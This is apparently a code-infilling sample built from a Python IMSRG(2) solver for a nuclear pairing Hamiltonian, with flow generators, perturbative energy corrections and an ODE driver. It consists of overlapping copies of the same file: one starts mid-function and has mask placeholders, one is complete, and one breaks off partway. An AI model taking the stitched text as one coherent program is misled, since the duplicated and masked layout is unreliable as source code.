(i, j) in enumerate(bas2B): for i2, (k, l) in enumerate(bas2B): work[i1, i2] -= GammaGamma[i1, i2] - GammaGamma[idx2B[j, i], i2 ] - GammaGamma[i1, idx2B[l, k]] + GammaGamma[idx2B[j, i], idx2B[l, k]] GammaGamma = work eta2B += GammaGamma return eta1B, eta2B def flow_imsrg2(eta1B, eta2B, f, Gamma, user_data): dim1B = user_data['dim1B'] holes = user_data['holes'] particles = user_data['particles'] bas2B = user_data['bas2B'] idx2B = user_data['idx2B'] basph2B = user_data['basph2B'] idxph2B = user_data['idxph2B'] occB_2B = user_data['occB_2B'] occC_2B = user_data['occC_2B'] occphA_2B = user_data['occphA_2B'] dE = 0.0 for i in holes: for a in particles: dE += eta1B[i, a] * f[a, i] - eta1B[a, i] * f[i, a] for i in holes: for j in holes: for a in particles: for b in particles: dE += 0.5 * eta2B[idx2B[i, j], idx2B[a, b]] * Gamma[ idx2B[a, b], idx2B[i, j]] df = np.zeros_like(f) df += commutator(eta1B, f) for p in range(dim1B): for q in range(dim1B): for i in holes: for a in particles: df[p, q] += eta1B[i, a] * Gamma[idx2B[a, p], idx2B[i, q] ] - eta1B[a, i] * Gamma[idx2B[i, p], idx2B[a, q]] - f[ i, a] * eta2B[idx2B[a, p], idx2B[i, q]] + f[a, i ] * eta2B[idx2B[i, p], idx2B[a, q]] etaGamma = dot(eta2B, dot(occB_2B, Gamma)) for p in range(dim1B): for q in range(dim1B): for i in holes: df[p, q] += 0.5 * (etaGamma[idx2B[i, p], idx2B[i, q]] + transpose(etaGamma)[idx2B[i, p], idx2B[i, q]]) etaGamma = dot(eta2B, dot(occC_2B, Gamma)) for p in range(dim1B): for q in range(dim1B): for r in range(dim1B): df[p, q] += 0.5 * (etaGamma[idx2B[r, p], idx2B[r, q]] + transpose(etaGamma)[idx2B[r, p], idx2B[r, q]]) dGamma = np.zeros_like(Gamma) for p in range(dim1B): for q in range(dim1B): for r in range(dim1B): for s in range(dim1B): for t in range(dim1B): dGamma[idx2B[p, q], idx2B[r, s]] += eta1B[p, t ] * Gamma[idx2B[t, q], idx2B[r, s]] + eta1B[q, t ] * Gamma[idx2B[p, t], idx2B[r, s]] - eta1B[t, r ] * Gamma[idx2B[p, q], idx2B[t, s]] - eta1B[t, s ] * Gamma[idx2B[p, q], idx2B[r, t]] - f[p, t ] * eta2B[idx2B[t, q], idx2B[r, s]] - f[q, t ] * eta2B[idx2B[p, t], idx2B[r, s]] + f[t, r ] * eta2B[idx2B[p, q], idx2B[t, s]] + f[t, s ] * eta2B[idx2B[p, q], idx2B[r, t]] etaGamma = dot(eta2B, dot(occB_2B, Gamma)) dGamma += 0.5 * (etaGamma + transpose(etaGamma)) eta2B_ph = ph_transform_2B(eta2B, bas2B, idx2B, basph2B, idxph2B) Gamma_ph = ph_transform_2B(Gamma, bas2B, idx2B, basph2B, idxph2B) etaGamma_ph = dot(eta2B_ph, dot(occphA_2B, Gamma_ph)) etaGamma = inverse_ph_transform_2B(etaGamma_ph, bas2B, idx2B, basph2B, idxph2B) work = np.zeros_like(etaGamma) for i1, (i, j) in enumerate(bas2B): for i2, (k, l) in enumerate(bas2B): work[i1, i2] -= etaGamma[i1, i2] - etaGamma[idx2B[j, i], i2 ] - etaGamma[i1, idx2B[l, k]] + etaGamma[idx2B[j, i], idx2B [l, k]] etaGamma = work dGamma += etaGamma return dE, df, dGamma def get_operator_from_y(y, dim1B, dim2B): ptr = 0 zero_body = y[ptr] ptr += 1 one_body = reshape(y[ptr:ptr + dim1B * dim1B], (dim1B, dim1B)) ptr += dim1B * dim1B two_body = reshape(y[ptr:ptr + dim2B * dim2B], (dim2B, dim2B)) return zero_body, one_body, two_body def derivative_wrapper(t, y, user_data): dim1B = user_data['dim1B'] dim2B = dim1B * dim1B holes = user_data['holes'] particles = user_data['particles'] bas1B = user_data['bas1B'] bas2B = user_data['bas2B'] basph2B = user_data['basph2B'] idx2B = user_data['idx2B'] idxph2B = user_data['idxph2B'] occA_2B = user_data['occA_2B'] occB_2B = user_data['occB_2B'] occC_2B = user_data['occC_2B'] occphA_2B = user_data['occphA_2B'] calc_eta = user_data['calc_eta'] calc_rhs = user_data['calc_rhs'] E, f, Gamma = get_operator_from_y(y, dim1B, dim2B) eta1B, eta2B = calc_eta(f, Gamma, user_data) dE, df, dGamma = calc_rhs(eta1B, eta2B, f, Gamma, user_data) dy = np.append([dE], np.append(reshape(df, -1), reshape(dGamma, -1))) user_data['dE'] = dE user_data['eta_norm'] = np.linalg.norm(eta1B, ord='fro') + np.linalg.norm( eta2B, ord='fro') return dy def pairing_hamiltonian(delta, g, user_data): bas1B = user_data['bas1B'] bas2B = user_data['bas2B'] idx2B = user_data['idx2B'] dim = len(bas1B) H1B = np.zeros((dim, dim)) for i in bas1B: H1B[i, i] = delta * np.floor_divide(i, 2) dim = len(bas2B) H2B = np.zeros((dim, dim)) for i, j in bas2B: if i % 2 == 0 and j == i + 1: for k, l in bas2B: if k % 2 == 0 and l == k + 1: H2B[idx2B[i, j], idx2B[k, l]] = -0.5 * g H2B[idx2B[j, i], idx2B[k, l]] = 0.5 * g H2B[idx2B[i, j], idx2B[l, k]] = 0.5 * g H2B[idx2B[j, i], idx2B[l, k]] = -0.5 * g return H1B, H2B <mask token> def calc_mbpt2(f, Gamma, user_data): DE2 = 0.0 particles = user_data['particles'] holes = user_data['holes'] idx2B = user_data['idx2B'] for i in holes: for j in holes: for a in particles: for b in particles: denom = f[i, i] + f[j, j] - f[a, a] - f[b, b] me = Gamma[idx2B[a, b], idx2B[i, j]] DE2 += 0.25 * me * me / denom return DE2 <mask token> def main(): delta = float(argv[1]) g = float(argv[2]) particles = 4 dim1B = 8 holes = [0, 1, 2, 3] particles = [4, 5, 6, 7] bas1B = range(dim1B) bas2B = construct_basis_2B(holes, particles) basph2B = construct_basis_ph2B(holes, particles) idx2B = construct_index_2B(bas2B) idxph2B = construct_index_2B(basph2B) occ1B = construct_occupation_1B(bas1B, holes, particles) occA_2B = construct_occupationA_2B(bas2B, occ1B) occB_2B = construct_occupationB_2B(bas2B, occ1B) occC_2B = construct_occupationC_2B(bas2B, occ1B) occphA_2B = construct_occupationA_2B(basph2B, occ1B) user_data = {'dim1B': dim1B, 'holes': holes, 'particles': particles, 'bas1B': bas1B, 'bas2B': bas2B, 'basph2B': basph2B, 'idx2B': idx2B, 'idxph2B': idxph2B, 'occ1B': occ1B, 'occA_2B': occA_2B, 'occB_2B': occB_2B, 'occC_2B': occC_2B, 'occphA_2B': occphA_2B, 'eta_norm': 0.0, 'dE': 0.0, 'calc_eta': eta_white_atan, 'calc_rhs': flow_imsrg2} H1B, H2B = pairing_hamiltonian(delta, g, user_data) E, f, Gamma = normal_order(H1B, H2B, user_data) y0 = np.append([E], np.append(reshape(f, -1), reshape(Gamma, -1))) solver = ode(derivative_wrapper, jac=None) solver.set_integrator('vode', method='bdf', order=5, nsteps=1000) solver.set_f_params(user_data) solver.set_initial_value(y0, 0.0) sfinal = 50 ds = 0.1 print( '%-8s %-14s %-14s %-14s %-14s %-14s %-14s %-14s %-14s' % ('s', 'E', 'DE(2)', 'DE(3)', 'E+DE', 'dE/ds', '||eta||', '||fod||', '||Gammaod||')) print('-' * 148) while solver.successful() and solver.t < sfinal: ys = solver.integrate(sfinal, step=True) dim2B = dim1B * dim1B E, f, Gamma = get_operator_from_y(ys, dim1B, dim2B) DE2 = calc_mbpt2(f, Gamma, user_data) DE3 = calc_mbpt3(f, Gamma, user_data) norm_fod = calc_fod_norm(f, user_data) norm_Gammaod = calc_Gammaod_norm(Gamma, user_data) print( '%8.5f %14.8f %14.8f %14.8f %14.8f %14.8f %14.8f %14.8f %14.8f' % (solver.t, E, DE2, DE3, E + DE2 + DE3, user_data['dE'], user_data['eta_norm'], norm_fod, norm_Gammaod)) if abs(DE2 / E) < 1e-07: break return <mask token>
<mask token> def construct_basis_2B(holes, particles): basis = [] for i in holes: for j in holes: basis.append((i, j)) for i in holes: for a in particles: basis.append((i, a)) for a in particles: for i in holes: basis.append((a, i)) for a in particles: for b in particles: basis.append((a, b)) return basis def construct_basis_ph2B(holes, particles): basis = [] for i in holes: for j in holes: basis.append((i, j)) for i in holes: for a in particles: basis.append((i, a)) for a in particles: for i in holes: basis.append((a, i)) for a in particles: for b in particles: basis.append((a, b)) return basis def construct_index_2B(bas2B): index = {} for i, state in enumerate(bas2B): index[state] = i return index def ph_transform_2B(Gamma, bas2B, idx2B, basph2B, idxph2B): dim = len(basph2B) Gamma_ph = np.zeros((dim, dim)) for i1, (a, b) in enumerate(basph2B): for i2, (c, d) in enumerate(basph2B): Gamma_ph[i1, i2] -= Gamma[idx2B[a, d], idx2B[c, b]] return Gamma_ph def inverse_ph_transform_2B(Gamma_ph, bas2B, idx2B, basph2B, idxph2B): dim = len(bas2B) Gamma = np.zeros((dim, dim)) for i1, (a, b) in enumerate(bas2B): for i2, (c, d) in enumerate(bas2B): Gamma[i1, i2] -= Gamma_ph[idxph2B[a, d], idxph2B[c, b]] return Gamma def commutator(a, b): return dot(a, b) - dot(b, a) def calc_fod_norm(f, user_data): particles = user_data['particles'] holes = user_data['holes'] norm = 0.0 for a in particles: for i in holes: norm += f[a, i] ** 2 + f[i, a] ** 2 return np.sqrt(norm) def calc_Gammaod_norm(Gamma, user_data): particles = user_data['particles'] holes = user_data['holes'] idx2B = user_data['idx2B'] norm = 0.0 for a in particles: for b in particles: for i in holes: for j in holes: norm += Gamma[idx2B[a, b], idx2B[i, j]] ** 2 + Gamma[ idx2B[i, j], idx2B[a, b]] ** 2 return np.sqrt(norm) def construct_occupation_1B(bas1B, holes, particles): dim = len(bas1B) occ = np.zeros(dim) for i in holes: occ[i] = 1.0 return occ def construct_occupationA_2B(bas2B, occ1B): dim = len(bas2B) occ = np.zeros((dim, dim)) for i1, (i, j) in enumerate(bas2B): occ[i1, i1] = occ1B[i] - occ1B[j] return occ def construct_occupationB_2B(bas2B, occ1B): dim = len(bas2B) occ = np.zeros((dim, dim)) for i1, (i, j) in enumerate(bas2B): occ[i1, i1] = 1.0 - occ1B[i] - occ1B[j] return occ def construct_occupationC_2B(bas2B, occ1B): dim = len(bas2B) occ = np.zeros((dim, dim)) for i1, (i, j) in enumerate(bas2B): occ[i1, i1] = occ1B[i] * occ1B[j] return occ def eta_brillouin(f, Gamma, user_data): dim1B = user_data['dim1B'] particles = user_data['particles'] holes = user_data['holes'] idx2B = user_data['idx2B'] eta1B = np.zeros_like(f) for a in particles: for i in holes: eta1B[a, i] = f[a, i] eta1B[i, a] = -f[a, i] eta2B = np.zeros_like(Gamma) for a in particles: for b in particles: for i in holes: for j in holes: val = Gamma[idx2B[a, b], idx2B[i, j]] eta2B[idx2B[a, b], idx2B[i, j]] = val eta2B[idx2B[i, j], idx2B[a, b]] = -val return eta1B, eta2B def eta_imtime(f, Gamma, user_data): dim1B = user_data['dim1B'] particles = user_data['particles'] holes = user_data['holes'] idx2B = user_data['idx2B'] eta1B = np.zeros_like(f) for a in particles: for i in holes: dE = f[a, a] - f[i, i] + Gamma[idx2B[a, i], idx2B[a, i]] val = np.sign(dE) * f[a, i] eta1B[a, i] = val eta1B[i, a] = -val eta2B = np.zeros_like(Gamma) for a in particles: for b in particles: for i in holes: for j in holes: dE = f[a, a] + f[b, b] - f[i, i] - f[j, j] + Gamma[ idx2B[a, b], idx2B[a, b]] + Gamma[idx2B[i, j], idx2B[i, j]] - Gamma[idx2B[a, i], idx2B[a, i]] - Gamma[ idx2B[a, j], idx2B[a, j]] - Gamma[idx2B[b, i], idx2B[b, i]] - Gamma[idx2B[b, j], idx2B[b, j]] val = np.sign(dE) * Gamma[idx2B[a, b], idx2B[i, j]] eta2B[idx2B[a, b], idx2B[i, j]] = val eta2B[idx2B[i, j], idx2B[a, b]] = -val return eta1B, eta2B def eta_white(f, Gamma, user_data): dim1B = user_data['dim1B'] particles = user_data['particles'] holes = user_data['holes'] idx2B = user_data['idx2B'] eta1B = np.zeros_like(f) for a in particles: for i in holes: denom = f[a, a] - f[i, i] + Gamma[idx2B[a, i], idx2B[a, i]] val = f[a, i] / denom eta1B[a, i] = val eta1B[i, a] = -val eta2B = np.zeros_like(Gamma) for a in particles: for b in particles: for i in holes: for j in holes: denom = f[a, a] + f[b, b] - f[i, i] - f[j, j] + Gamma[ idx2B[a, b], idx2B[a, b]] + Gamma[idx2B[i, j], idx2B[i, j]] - Gamma[idx2B[a, i], idx2B[a, i]] - Gamma[ idx2B[a, j], idx2B[a, j]] - Gamma[idx2B[b, i], idx2B[b, i]] - Gamma[idx2B[b, j], idx2B[b, j]] val = Gamma[idx2B[a, b], idx2B[i, j]] / denom eta2B[idx2B[a, b], idx2B[i, j]] = val eta2B[idx2B[i, j], idx2B[a, b]] = -val return eta1B, eta2B def eta_white_mp(f, Gamma, user_data): dim1B = user_data['dim1B'] particles = user_data['particles'] holes = user_data['holes'] idx2B = user_data['idx2B'] eta1B = np.zeros_like(f) for a in particles: for i in holes: denom = f[a, a] - f[i, i] val = f[a, i] / denom eta1B[a, i] = val eta1B[i, a] = -val eta2B = np.zeros_like(Gamma) for a in particles: for b in particles: for i in holes: for j in holes: denom = f[a, a] + f[b, b] - f[i, i] - f[j, j] val = Gamma[idx2B[a, b], idx2B[i, j]] / denom eta2B[idx2B[a, b], idx2B[i, j]] = val eta2B[idx2B[i, j], idx2B[a, b]] = -val return eta1B, eta2B def eta_white_atan(f, Gamma, user_data): dim1B = user_data['dim1B'] particles = user_data['particles'] holes = user_data['holes'] idx2B = user_data['idx2B'] eta1B = np.zeros_like(f) for a in particles: for i in holes: denom = f[a, a] - f[i, i] + Gamma[idx2B[a, i], idx2B[a, i]] val = 0.5 * np.arctan(2 * f[a, i] / denom) eta1B[a, i] = val eta1B[i, a] = -val eta2B = np.zeros_like(Gamma) for a in particles: for b in particles: for i in holes: for j in holes: denom = f[a, a] + f[b, b] - f[i, i] - f[j, j] + Gamma[ idx2B[a, b], idx2B[a, b]] + Gamma[idx2B[i, j], idx2B[i, j]] - Gamma[idx2B[a, i], idx2B[a, i]] - Gamma[ idx2B[a, j], idx2B[a, j]] - Gamma[idx2B[b, i], idx2B[b, i]] - Gamma[idx2B[b, j], idx2B[b, j]] val = 0.5 * np.arctan(2 * Gamma[idx2B[a, b], idx2B[i, j ]] / denom) eta2B[idx2B[a, b], idx2B[i, j]] = val eta2B[idx2B[i, j], idx2B[a, b]] = -val return eta1B, eta2B def eta_wegner(f, Gamma, user_data): dim1B = user_data['dim1B'] holes = user_data['holes'] particles = user_data['particles'] bas2B = user_data['bas2B'] basph2B = user_data['basph2B'] idx2B = user_data['idx2B'] idxph2B = user_data['idxph2B'] occB_2B = user_data['occB_2B'] occC_2B = user_data['occC_2B'] occphA_2B = user_data['occphA_2B'] fd = np.zeros_like(f) fod = np.zeros_like(f) Gammad = np.zeros_like(Gamma) Gammaod = np.zeros_like(Gamma) for a in particles: for i in holes: fod[a, i] = f[a, i] fod[i, a] = f[i, a] fd = f - fod for a in particles: for b in particles: for i in holes: for j in holes: Gammaod[idx2B[a, b], idx2B[i, j]] = Gamma[idx2B[a, b], idx2B[i, j]] Gammaod[idx2B[i, j], idx2B[a, b]] = Gamma[idx2B[i, j], idx2B[a, b]] Gammad = Gamma - Gammaod eta1B = np.zeros_like(f) eta1B += commutator(fd, fod) for p in range(dim1B): for q in range(dim1B): for i in holes: for a in particles: eta1B[p, q] += fd[i, a] * Gammaod[idx2B[a, p], idx2B[i, q] ] - fd[a, i] * Gammaod[idx2B[i, p], idx2B[a, q]] - fod[ i, a] * Gammad[idx2B[a, p], idx2B[i, q]] + fod[a, i ] * Gammad[idx2B[i, p], idx2B[a, q]] GammaGamma = dot(Gammad, dot(occB_2B, Gammaod)) for p in range(dim1B): for q in range(dim1B): for i in holes: eta1B[p, q] += 0.5 * (GammaGamma[idx2B[i, p], idx2B[i, q]] - transpose(GammaGamma)[idx2B[i, p], idx2B[i, q]]) GammaGamma = dot(Gammad, dot(occC_2B, Gammaod)) for p in range(dim1B): for q in range(dim1B): for r in range(dim1B): eta1B[p, q] += 0.5 * (GammaGamma[idx2B[r, p], idx2B[r, q]] + transpose(GammaGamma)[idx2B[r, p], idx2B[r, q]]) eta2B = np.zeros_like(Gamma) for p in range(dim1B): for q in range(dim1B): for r in range(dim1B): for s in range(dim1B): for t in range(dim1B): eta2B[idx2B[p, q], idx2B[r, s]] += fd[p, t] * Gammaod[ idx2B[t, q], idx2B[r, s]] + fd[q, t] * Gammaod[ idx2B[p, t], idx2B[r, s]] - fd[t, r] * Gammaod[ idx2B[p, q], idx2B[t, s]] - fd[t, s] * Gammaod[ idx2B[p, q], idx2B[r, t]] - fod[p, t] * Gammad[ idx2B[t, q], idx2B[r, s]] - fod[q, t] * Gammad[ idx2B[p, t], idx2B[r, s]] + fod[t, r] * Gammad[ idx2B[p, q], idx2B[t, s]] + fod[t, s] * Gammad[ idx2B[p, q], idx2B[r, t]] GammaGamma = dot(Gammad, dot(occB_2B, Gammaod)) eta2B += 0.5 * (GammaGamma - transpose(GammaGamma)) Gammad_ph = ph_transform_2B(Gammad, bas2B, idx2B, basph2B, idxph2B) Gammaod_ph = ph_transform_2B(Gammaod, bas2B, idx2B, basph2B, idxph2B) GammaGamma_ph = dot(Gammad_ph, dot(occphA_2B, Gammaod_ph)) GammaGamma = inverse_ph_transform_2B(GammaGamma_ph, bas2B, idx2B, basph2B, idxph2B) work = np.zeros_like(GammaGamma) for i1, (i, j) in enumerate(bas2B): for i2, (k, l) in enumerate(bas2B): work[i1, i2] -= GammaGamma[i1, i2] - GammaGamma[idx2B[j, i], i2 ] - GammaGamma[i1, idx2B[l, k]] + GammaGamma[idx2B[j, i], idx2B[l, k]] GammaGamma = work eta2B += GammaGamma return eta1B, eta2B def flow_imsrg2(eta1B, eta2B, f, Gamma, user_data): dim1B = user_data['dim1B'] holes = user_data['holes'] particles = user_data['particles'] bas2B = user_data['bas2B'] idx2B = user_data['idx2B'] basph2B = user_data['basph2B'] idxph2B = user_data['idxph2B'] occB_2B = user_data['occB_2B'] occC_2B = user_data['occC_2B'] occphA_2B = user_data['occphA_2B'] dE = 0.0 for i in holes: for a in particles: dE += eta1B[i, a] * f[a, i] - eta1B[a, i] * f[i, a] for i in holes: for j in holes: for a in particles: for b in particles: dE += 0.5 * eta2B[idx2B[i, j], idx2B[a, b]] * Gamma[ idx2B[a, b], idx2B[i, j]] df = np.zeros_like(f) df += commutator(eta1B, f) for p in range(dim1B): for q in range(dim1B): for i in holes: for a in particles: df[p, q] += eta1B[i, a] * Gamma[idx2B[a, p], idx2B[i, q] ] - eta1B[a, i] * Gamma[idx2B[i, p], idx2B[a, q]] - f[ i, a] * eta2B[idx2B[a, p], idx2B[i, q]] + f[a, i ] * eta2B[idx2B[i, p], idx2B[a, q]] etaGamma = dot(eta2B, dot(occB_2B, Gamma)) for p in range(dim1B): for q in range(dim1B): for i in holes: df[p, q] += 0.5 * (etaGamma[idx2B[i, p], idx2B[i, q]] + transpose(etaGamma)[idx2B[i, p], idx2B[i, q]]) etaGamma = dot(eta2B, dot(occC_2B, Gamma)) for p in range(dim1B): for q in range(dim1B): for r in range(dim1B): df[p, q] += 0.5 * (etaGamma[idx2B[r, p], idx2B[r, q]] + transpose(etaGamma)[idx2B[r, p], idx2B[r, q]]) dGamma = np.zeros_like(Gamma) for p in range(dim1B): for q in range(dim1B): for r in range(dim1B): for s in range(dim1B): for t in range(dim1B): dGamma[idx2B[p, q], idx2B[r, s]] += eta1B[p, t ] * Gamma[idx2B[t, q], idx2B[r, s]] + eta1B[q, t ] * Gamma[idx2B[p, t], idx2B[r, s]] - eta1B[t, r ] * Gamma[idx2B[p, q], idx2B[t, s]] - eta1B[t, s ] * Gamma[idx2B[p, q], idx2B[r, t]] - f[p, t ] * eta2B[idx2B[t, q], idx2B[r, s]] - f[q, t ] * eta2B[idx2B[p, t], idx2B[r, s]] + f[t, r ] * eta2B[idx2B[p, q], idx2B[t, s]] + f[t, s ] * eta2B[idx2B[p, q], idx2B[r, t]] etaGamma = dot(eta2B, dot(occB_2B, Gamma)) dGamma += 0.5 * (etaGamma + transpose(etaGamma)) eta2B_ph = ph_transform_2B(eta2B, bas2B, idx2B, basph2B, idxph2B) Gamma_ph = ph_transform_2B(Gamma, bas2B, idx2B, basph2B, idxph2B) etaGamma_ph = dot(eta2B_ph, dot(occphA_2B, Gamma_ph)) etaGamma = inverse_ph_transform_2B(etaGamma_ph, bas2B, idx2B, basph2B, idxph2B) work = np.zeros_like(etaGamma) for i1, (i, j) in enumerate(bas2B): for i2, (k, l) in enumerate(bas2B): work[i1, i2] -= etaGamma[i1, i2] - etaGamma[idx2B[j, i], i2 ] - etaGamma[i1, idx2B[l, k]] + etaGamma[idx2B[j, i], idx2B [l, k]] etaGamma = work dGamma += etaGamma return dE, df, dGamma def get_operator_from_y(y, dim1B, dim2B): ptr = 0 zero_body = y[ptr] ptr += 1 one_body = reshape(y[ptr:ptr + dim1B * dim1B], (dim1B, dim1B)) ptr += dim1B * dim1B two_body = reshape(y[ptr:ptr + dim2B * dim2B], (dim2B, dim2B)) return zero_body, one_body, two_body def derivative_wrapper(t, y, user_data): dim1B = user_data['dim1B'] dim2B = dim1B * dim1B holes = user_data['holes'] particles = user_data['particles'] bas1B = user_data['bas1B'] bas2B = user_data['bas2B'] basph2B = user_data['basph2B'] idx2B = user_data['idx2B'] idxph2B = user_data['idxph2B'] occA_2B = user_data['occA_2B'] occB_2B = user_data['occB_2B'] occC_2B = user_data['occC_2B'] occphA_2B = user_data['occphA_2B'] calc_eta = user_data['calc_eta'] calc_rhs = user_data['calc_rhs'] E, f, Gamma = get_operator_from_y(y, dim1B, dim2B) eta1B, eta2B = calc_eta(f, Gamma, user_data) dE, df, dGamma = calc_rhs(eta1B, eta2B, f, Gamma, user_data) dy = np.append([dE], np.append(reshape(df, -1), reshape(dGamma, -1))) user_data['dE'] = dE user_data['eta_norm'] = np.linalg.norm(eta1B, ord='fro') + np.linalg.norm( eta2B, ord='fro') return dy def pairing_hamiltonian(delta, g, user_data): bas1B = user_data['bas1B'] bas2B = user_data['bas2B'] idx2B = user_data['idx2B'] dim = len(bas1B) H1B = np.zeros((dim, dim)) for i in bas1B: H1B[i, i] = delta * np.floor_divide(i, 2) dim = len(bas2B) H2B = np.zeros((dim, dim)) for i, j in bas2B: if i % 2 == 0 and j == i + 1: for k, l in bas2B: if k % 2 == 0 and l == k + 1: H2B[idx2B[i, j], idx2B[k, l]] = -0.5 * g H2B[idx2B[j, i], idx2B[k, l]] = 0.5 * g H2B[idx2B[i, j], idx2B[l, k]] = 0.5 * g H2B[idx2B[j, i], idx2B[l, k]] = -0.5 * g return H1B, H2B def normal_order(H1B, H2B, user_data): bas1B = user_data['bas1B'] bas2B = user_data['bas2B'] idx2B = user_data['idx2B'] particles = user_data['particles'] holes = user_data['holes'] E = 0.0 for i in holes: E += H1B[i, i] for i in holes: for j in holes: E += 0.5 * H2B[idx2B[i, j], idx2B[i, j]] f = H1B for i in bas1B: for j in bas1B: for h in holes: f[i, j] += H2B[idx2B[i, h], idx2B[j, h]] Gamma = H2B return E, f, Gamma def calc_mbpt2(f, Gamma, user_data): DE2 = 0.0 particles = user_data['particles'] holes = user_data['holes'] idx2B = user_data['idx2B'] for i in holes: for j in holes: for a in particles: for b in particles: denom = f[i, i] + f[j, j] - f[a, a] - f[b, b] me = Gamma[idx2B[a, b], idx2B[i, j]] DE2 += 0.25 * me * me / denom return DE2 def calc_mbpt3(f, Gamma, user_data): particles = user_data['particles'] holes = user_data['holes'] idx2B = user_data['idx2B'] DE3pp = 0.0 DE3hh = 0.0 DE3ph = 0.0 for a in particles: for b in particles: for c in particles: for d in particles: for i in holes: for j in holes: denom = (f[i, i] + f[j, j] - f[a, a] - f[b, b]) * ( f[i, i] + f[j, j] - f[c, c] - f[d, d]) me = Gamma[idx2B[i, j], idx2B[a, b]] * Gamma[ idx2B[a, b], idx2B[c, d]] * Gamma[idx2B[c, d], idx2B[i, j]] DE3pp += 0.125 * me / denom for i in holes: for j in holes: for k in holes: for l in holes: for a in particles: for b in particles: denom = (f[i, i] + f[j, j] - f[a, a] - f[b, b]) * ( f[k, k] + f[l, l] - f[a, a] - f[b, b]) me = Gamma[idx2B[a, b], idx2B[k, l]] * Gamma[ idx2B[k, l], idx2B[i, j]] * Gamma[idx2B[i, j], idx2B[a, b]] DE3hh += 0.125 * me / denom for i in holes: for j in holes: for k in holes: for a in particles: for b in particles: for c in particles: denom = (f[i, i] + f[j, j] - f[a, a] - f[b, b]) * ( f[k, k] + f[j, j] - f[a, a] - f[c, c]) me = Gamma[idx2B[i, j], idx2B[a, b]] * Gamma[ idx2B[k, b], idx2B[i, c]] * Gamma[idx2B[a, c], idx2B[k, j]] DE3ph -= me / denom return DE3pp + DE3hh + DE3ph def main(): delta = float(argv[1]) g = float(argv[2]) particles = 4 dim1B = 8 holes = [0, 1, 2, 3] particles = [4, 5, 6, 7] bas1B = range(dim1B) bas2B = construct_basis_2B(holes, particles) basph2B = construct_basis_ph2B(holes, particles) idx2B = construct_index_2B(bas2B) idxph2B = construct_index_2B(basph2B) occ1B = construct_occupation_1B(bas1B, holes, particles) occA_2B = construct_occupationA_2B(bas2B, occ1B) occB_2B = construct_occupationB_2B(bas2B, occ1B) occC_2B = construct_occupationC_2B(bas2B, occ1B) occphA_2B = construct_occupationA_2B(basph2B, occ1B) user_data = {'dim1B': dim1B, 'holes': holes, 'particles': particles, 'bas1B': bas1B, 'bas2B': bas2B, 'basph2B': basph2B, 'idx2B': idx2B, 'idxph2B': idxph2B, 'occ1B': occ1B, 'occA_2B': occA_2B, 'occB_2B': occB_2B, 'occC_2B': occC_2B, 'occphA_2B': occphA_2B, 'eta_norm': 0.0, 'dE': 0.0, 'calc_eta': eta_white_atan, 'calc_rhs': flow_imsrg2} H1B, H2B = pairing_hamiltonian(delta, g, user_data) E, f, Gamma = normal_order(H1B, H2B, user_data) y0 = np.append([E], np.append(reshape(f, -1), reshape(Gamma, -1))) solver = ode(derivative_wrapper, jac=None) solver.set_integrator('vode', method='bdf', order=5, nsteps=1000) solver.set_f_params(user_data) solver.set_initial_value(y0, 0.0) sfinal = 50 ds = 0.1 print( '%-8s %-14s %-14s %-14s %-14s %-14s %-14s %-14s %-14s' % ('s', 'E', 'DE(2)', 'DE(3)', 'E+DE', 'dE/ds', '||eta||', '||fod||', '||Gammaod||')) print('-' * 148) while solver.successful() and solver.t < sfinal: ys = solver.integrate(sfinal, step=True) dim2B = dim1B * dim1B E, f, Gamma = get_operator_from_y(ys, dim1B, dim2B) DE2 = calc_mbpt2(f, Gamma, user_data) DE3 = calc_mbpt3(f, Gamma, user_data) norm_fod = calc_fod_norm(f, user_data) norm_Gammaod = calc_Gammaod_norm(Gamma, user_data) print( '%8.5f %14.8f %14.8f %14.8f %14.8f %14.8f %14.8f %14.8f %14.8f' % (solver.t, E, DE2, DE3, E + DE2 + DE3, user_data['dE'], user_data['eta_norm'], norm_fod, norm_Gammaod)) if abs(DE2 / E) < 1e-07: break return if __name__ == '__main__': main()
import numpy as np from numpy import array, dot, diag, reshape, transpose from scipy.linalg import eigvalsh from scipy.integrate import odeint, ode from sys import argv def construct_basis_2B(holes, particles): basis = [] for i in holes: for j in holes: basis.append((i, j)) for i in holes: for a in particles: basis.append((i, a)) for a in particles: for i in holes: basis.append((a, i)) for a in particles: for b in particles: basis.append((a, b)) return basis def construct_basis_ph2B(holes, particles): basis = [] for i in holes: for j in holes: basis.append((i, j)) for i in holes: for a in particles: basis.append((i, a)) for a in particles: for i in holes: basis.append((a, i)) for a in particles: for b in particles: basis.append((a, b)) return basis def construct_index_2B(bas2B): index = {} for i, state in enumerate(bas2B): index[state] = i return index def ph_transform_2B(Gamma, bas2B, idx2B, basph2B, idxph2B): dim = len(basph2B) Gamma_ph = np.zeros((dim, dim)) for i1, (a, b) in enumerate(basph2B): for i2, (c, d) in enumerate(basph2B): Gamma_ph[i1, i2] -= Gamma[idx2B[a, d], idx2B[c, b]] return Gamma_ph def inverse_ph_transform_2B(Gamma_ph, bas2B, idx2B, basph2B, idxph2B): dim = len(bas2B) Gamma = np.zeros((dim, dim)) for i1, (a, b) in enumerate(bas2B): for i2, (c, d) in enumerate(bas2B): Gamma[i1, i2] -= Gamma_ph[idxph2B[a, d], idxph2B[c, b]] return Gamma def commutator(a, b): return dot(a, b) - dot(b, a) def calc_fod_norm(f, user_data): particles = user_data['particles'] holes = user_data['holes'] norm = 0.0 for a in particles: for i in holes: norm += f[a, i] ** 2 + f[i, a] ** 2 return np.sqrt(norm) def calc_Gammaod_norm(Gamma, user_data): particles = user_data['particles'] holes = user_data['holes'] idx2B = user_data['idx2B'] norm = 0.0 for a in particles: for b in particles: for i in holes: for j in holes: norm += Gamma[idx2B[a, b], idx2B[i, j]] ** 2 + Gamma[ idx2B[i, j], idx2B[a, b]] ** 2 return np.sqrt(norm) def construct_occupation_1B(bas1B, holes, particles): dim = len(bas1B) occ = np.zeros(dim) for i in holes: occ[i] = 1.0 return occ def construct_occupationA_2B(bas2B, occ1B): dim = len(bas2B) occ = np.zeros((dim, dim)) for i1, (i, j) in enumerate(bas2B): occ[i1, i1] = occ1B[i] - occ1B[j] return occ def construct_occupationB_2B(bas2B, occ1B): dim = len(bas2B) occ = np.zeros((dim, dim)) for i1, (i, j) in enumerate(bas2B): occ[i1, i1] = 1.0 - occ1B[i] - occ1B[j] return occ def construct_occupationC_2B(bas2B, occ1B): dim = len(bas2B) occ = np.zeros((dim, dim)) for i1, (i, j) in enumerate(bas2B): occ[i1, i1] = occ1B[i] * occ1B[j] return occ def eta_brillouin(f, Gamma, user_data): dim1B = user_data['dim1B'] 